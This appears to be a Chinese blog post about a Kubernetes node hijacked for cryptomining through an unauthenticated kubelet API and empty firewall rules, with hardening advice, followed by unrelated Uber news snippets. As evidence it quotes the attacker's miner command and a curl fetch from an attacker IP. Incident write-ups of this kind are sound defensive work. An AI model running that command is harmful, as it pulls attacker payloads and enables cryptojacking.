[導(dǎo)讀]近期遇到了一次我們自建Kubernetes集群中某臺(tái)機(jī)器被入侵挖礦，后續(xù)也找到了原因，所幸只是用來挖礦…網(wǎng)絡(luò)安全是個(gè)嚴(yán)肅的問題，它總是在不經(jīng)意間出現(xiàn)，等你反應(yīng)過來卻已經(jīng)遲了。希望各位讀者看完后也有所啟發(fā)，去檢查及加固自己的集群。入侵現(xiàn)象檢查到某臺(tái)機(jī)器中出現(xiàn)了異常進(jìn)程./.syst...
近期遇到了一次我們自建 Kubernetes 集群中某臺(tái)機(jī)器被入侵挖礦，后續(xù)也找到了原因，所幸只是用來挖礦…網(wǎng)絡(luò)安全是個(gè)嚴(yán)肅的問題，它總是在不經(jīng)意間出現(xiàn)，等你反應(yīng)過來卻已經(jīng)遲了。希望各位讀者看完后也有所啟發(fā)，去檢查及加固自己的集群。入侵現(xiàn)象
檢查到某臺(tái)機(jī)器中出現(xiàn)了異常進(jìn)程./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCmcurl -s http://45.9.148.35/scan_threads.dat簡(jiǎn)單來講，就是我們的機(jī)器被用來挖礦了…問題出現(xiàn)后，我們第一時(shí)間關(guān)閉了docker，其實(shí)應(yīng)該隔離下環(huán)境, 把挖礦程序dump下來，以便后續(xù)分析。具體原因排查
iptables為空
出現(xiàn)了異常進(jìn)程，肯定是被入侵了，我首先看的是 iptables?。果不其然，機(jī)器上的 iptables 規(guī)則是空的，意味著這臺(tái)機(jī)器在裸奔。kubelet裸奔
內(nèi)部同事提出了有可能是 kubelet 被入侵的問題，檢查過其他組件后，開始檢查 kubelet 組件最后檢查到 kubelet 日志中有異常：kubelet設(shè)置不當(dāng)
確認(rèn)入侵問題，kubelet 參數(shù)設(shè)置錯(cuò)誤，允許直接訪問 kubelet 的 api發(fā)現(xiàn)是 kubelet 的啟動(dòng)項(xiàng)中，該位置被注釋掉：然后文件中禁止匿名訪問的配置沒有讀取該項(xiàng)配置是由于我操作不當(dāng)注釋掉的由于是新增加的機(jī)器，當(dāng)晚就發(fā)現(xiàn)了問題，整個(gè)集群是我在管理的，我跟隨著一起排查，所以很快就找到了原因，當(dāng)晚我就把其他機(jī)器中的配置項(xiàng)重新掃了一遍，假如它們的防火墻失效了，也會(huì)有類似的入侵情況發(fā)生，還好此次事件控制在1臺(tái)機(jī)器中。改進(jìn)方案
其實(shí)該問題理論上講是可以避免的，是因?yàn)槌霈F(xiàn)了多層漏洞才會(huì)被有心人掃到，我從外到內(nèi)整理了一下可能改進(jìn)的策略。- 機(jī)器防火墻設(shè)置，機(jī)器防火墻是整個(gè)系統(tǒng)最外層，即使機(jī)器的防火墻同步失敗，也不能默認(rèn)開放所有端口，而是應(yīng)該全部關(guān)閉，等待管理員連接到tty終端上檢查。
- 使用機(jī)器時(shí)，假如機(jī)器不是暴露給外部使用的，公網(wǎng)IP可有可無的時(shí)候，盡量不要有公網(wǎng)IP，我們的機(jī)器才上線1天就被掃描到了漏洞，可想而知，公網(wǎng)上是多么的危險(xiǎn)
- 使用kubelet以及其他系統(tǒng)服務(wù)時(shí)，端口監(jiān)聽方面是不是該有所考量？能不能不監(jiān)聽
0.0.0.0，而是只監(jiān)聽本機(jī)的內(nèi)網(wǎng)IP。 - 使用kubelet以及其他程序，設(shè)計(jì)或是搭建系統(tǒng)時(shí), 對(duì)于匿名訪問時(shí)的權(quán)限控制, 我們需要考慮到假如端口匿名會(huì)出現(xiàn)什么問題，是否應(yīng)該允許匿名訪問，如果不允許匿名訪問，那么怎么做一套鑒權(quán)系統(tǒng)?
- 系統(tǒng)管理員操作時(shí)，是否有一個(gè)比較規(guī)范化的流程，是不是該只使用腳本操作線上環(huán)境? 手動(dòng)操作線上環(huán)境帶來的問題并不好排查和定位。
我這里不是拋出疑問，只是想告訴大家，考慮系統(tǒng)設(shè)計(jì)時(shí)，有必要考慮下安全性。
總結(jié)
發(fā)生了入侵事件后，同事開玩笑說，還好沒其他經(jīng)濟(jì)損失，要不我可能要回家了。作為集群的管理員，只有自己最清楚問題的嚴(yán)重程度。從本質(zhì)上來講，問題已經(jīng)相當(dāng)嚴(yán)重了。入侵者相當(dāng)于擁有了機(jī)器上docker的完整控制權(quán)限。如果讀者有讀過我關(guān)于docker系列的內(nèi)容，就對(duì)權(quán)限上了解清楚了。因?yàn)榇舜问录陌l(fā)生，不只是我，還有SA的同學(xué)基本都被diao了一遍，心里還是有點(diǎn)難受的，希望大家能對(duì)網(wǎng)絡(luò)安全問題有所重視，從加固防火墻開始，避免監(jiān)聽不必要的端口，這兩項(xiàng)至少是最容易實(shí)現(xiàn)的。
欲知詳情，請(qǐng)下載word文檔
下載文檔
本站聲明： 本文章由作者或相關(guān)機(jī)構(gòu)授權(quán)發(fā)布，目的在于傳遞更多信息，并不代表本站贊同其觀點(diǎn)，本站亦不保證或承諾內(nèi)容真實(shí)性等。需要轉(zhuǎn)載請(qǐng)聯(lián)系該專欄作者，如若文章內(nèi)容侵犯您的權(quán)益，請(qǐng)及時(shí)聯(lián)系本站刪除。
原文：https://nigelpoulton.com/blog/f/demystifying-kubernetes-service-discoveryKubernetes服務(wù)發(fā)現(xiàn)是一個(gè)經(jīng)常讓我產(chǎn)生困惑的主題之一。本文分...
關(guān)鍵字：
uber
我們做了一個(gè)街頭采訪，調(diào)查路人眼中的程序員到底是怎樣的？提到程序員，大家似乎都有刻板印象：總是格子襯衫牛仔褲雙肩包打扮，總是埋頭敲代碼，加班是常態(tài)……誰說程序員呆板木訥，只會(huì)埋頭敲一行行代碼“天書”？他們正在用指尖造夢(mèng)，...
關(guān)鍵字：
微軟
uber
這一專業(yè)化證明了LTI在應(yīng)用程序現(xiàn)代化方面的能力
印度孟買2021年10月6
關(guān)鍵字：
微軟
uber
（全球TMT2021年10月7日訊）全球技術(shù)咨詢和數(shù)字解決方案公司Larsen & Toubro Infotech獲得Microsoft Azure高級(jí)專業(yè)化的Kubernetes，
關(guān)鍵字：
微軟
uber
-???前言??-幾個(gè)星期前，Kubernetes開發(fā)團(tuán)隊(duì)宣布，他們正在棄用docker。這則新聞通過科技界和社交網(wǎng)絡(luò)廣為流傳。Kubernetes群集是否會(huì)中斷，如果是，我們將如何運(yùn)行我們的應(yīng)用程序？我們現(xiàn)在該怎么辦？...
關(guān)鍵字：
uber
ck
編譯｜核子可樂、燕珊Docker如今的體量與當(dāng)初的潛在愿景相比實(shí)在太過渺小，本文將帶你了解Docker“落得如此田地”的原因和真相的細(xì)節(jié)。Docker還活著。盡管它近兩三年的境況并不理想，但它還在苦苦掙扎，試圖找到自己的...
關(guān)鍵字：
uber
ck
Uber周一表示，即使本周末法院下令將其叫車服務(wù)強(qiáng)制停業(yè)，Uber仍將繼續(xù)運(yùn)營(yíng)可以創(chuàng)收的食品配送業(yè)務(wù)Uber Eats。
公司發(fā)言人說，Uber的食品配送部門似乎沒有受到加利福尼亞州檢察長(zhǎng)提起的訴訟以
關(guān)鍵字：
加州
配送服務(wù)
uber
寧可不干了，也絕不屈服。Uber和Lyft兩大共享出行巨頭今天正式宣布，將從明天凌晨開始，在總部所在地加州無限期停業(yè)，以一種“停工抗議”的姿態(tài)，拒不服從加州政府的新勞動(dòng)法?！斑@不是我們想要的結(jié)果。我們
關(guān)鍵字：
加州
共享經(jīng)濟(jì)
uber
lyft
停業(yè)抗議
Uber 周一表示，即使本周末法院下令將其叫車服務(wù)強(qiáng)制停業(yè)，Uber 仍將繼續(xù)運(yùn)營(yíng)可以創(chuàng)收的食品配送業(yè)務(wù) Uber Eats。公司發(fā)言人說，Uber 的食品配送部門似乎沒有受到加利福尼亞州檢察長(zhǎng)提起的
關(guān)鍵字：
uber
寧可不干了，也絕不屈服。Uber 和 Lyft 兩大共享出行巨頭今天正式宣布，將從明天凌晨開始，在總部所在地加州無限期停業(yè)，以一種 “停工抗議”的姿態(tài)，拒不服從加州政府的新勞動(dòng)法?！斑@不是我們想要的結(jié)
關(guān)鍵字：
uber
本周四，Uber前首席安全官約瑟夫·沙利文（Joseph Sullivan）受到刑事指控，罪名是試圖隱瞞2016年的一次黑客攻擊。當(dāng)時(shí)的攻擊導(dǎo)致Uber大約5700萬用戶和司機(jī)的個(gè)人信息泄露。值得注意
關(guān)鍵字：
美司法部
黑客
uber
加州出臺(tái)的新勞動(dòng)法或致 Uber 在該州的共享乘車業(yè)務(wù)發(fā)生重大變化。該公司稱，最近正在考慮將品牌授權(quán)給獨(dú)立經(jīng)營(yíng)的特許商戶。這項(xiàng)措施可以拉開 Uber 和其平臺(tái)司機(jī)之間的關(guān)系，也可作為將司機(jī)歸類為公司員
關(guān)鍵字：
uber
Uber首席執(zhí)行官達(dá)拉·科斯羅薩西（Dara Khosrowshahi）周三接受采訪時(shí)表示，如果法院不推翻最近頒布的將司機(jī)歸類為全職員工的裁決，Uber可能會(huì)暫時(shí)停業(yè)幾個(gè)月。
科斯羅薩西說：“如果法院
關(guān)鍵字：
uber
加州
司機(jī)
Uber CEO 達(dá)拉 · 科斯羅薩西（Dara Khosrowshahi）今日表示，如果法院不推翻最近 “要求 Uber 將司機(jī)歸類為全職員工”的裁決，該公司在加州的服務(wù)可能會(huì)暫時(shí)關(guān)閉幾個(gè)月時(shí)間。本
關(guān)鍵字：
uber
物聯(lián)網(wǎng)技術(shù)伴隨著科技的迅速發(fā)展已經(jīng)不再是一個(gè)新鮮名詞，但是它卻正在悄然無聲的改變著我們的生活。智能家居的推廣，智慧城市的建設(shè)無一不體現(xiàn)著它的應(yīng)用。
如果說4年前，時(shí)任總理溫家寶在
關(guān)鍵字：
uber
自動(dòng)駕駛
通用汽車
8月1日，今日多家外媒報(bào)道稱，滴滴出行將與中國(guó)優(yōu)步(UberChina)合并，合并后，Uber將取得新公司20%的股權(quán)，新公司估值達(dá)350億美元。另據(jù)《華爾街日?qǐng)?bào)》援引消息人士的報(bào)道稱，滴滴
關(guān)鍵字：
uber
北京時(shí)間8月7日凌晨消息，美國(guó)打車服務(wù)公司Uber今日發(fā)布了2020財(cái)年第二季度財(cái)報(bào)。報(bào)告顯示，在截至6月30日的這一季度，Uber的營(yíng)收為22.41億美元，與去年同期的31.66億美元相比下降29%
關(guān)鍵字：
uber
uber財(cái)報(bào)
二季度
Uber周四宣布，將收購(gòu)自動(dòng)駕駛卡車創(chuàng)業(yè)公司Otto。這將使Uber無人駕駛業(yè)務(wù)的發(fā)展更趨多元化，并有可能加強(qiáng)這一業(yè)務(wù)的盈利能力。
Otto聯(lián)合創(chuàng)始人之一是谷歌前工程師安東尼&m
關(guān)鍵字：
uber
無人駕駛
北京時(shí)間8月19日消息，沃爾沃汽車與Uber今日達(dá)成戰(zhàn)略協(xié)議，將聯(lián)合開發(fā)下一代自動(dòng)駕駛汽車與技術(shù)，而兩家公司將為該項(xiàng)目投入共計(jì)3億美元。
報(bào)道稱，沃爾沃與Uber將啟動(dòng)
關(guān)鍵字：
uber
沃爾沃
自動(dòng)駕駛
無人駕駛承擔(dān)得不僅是出行方式的變革，更是城市復(fù)興的希望。無人駕駛承擔(dān)得不僅是出行方式的變革，更是城市復(fù)興的希望。
北京時(shí)間9月11日消息，全世界都在觀察，匹茲堡有30.6萬人，Uber的測(cè)試是
關(guān)鍵字：
uber
無人駕駛
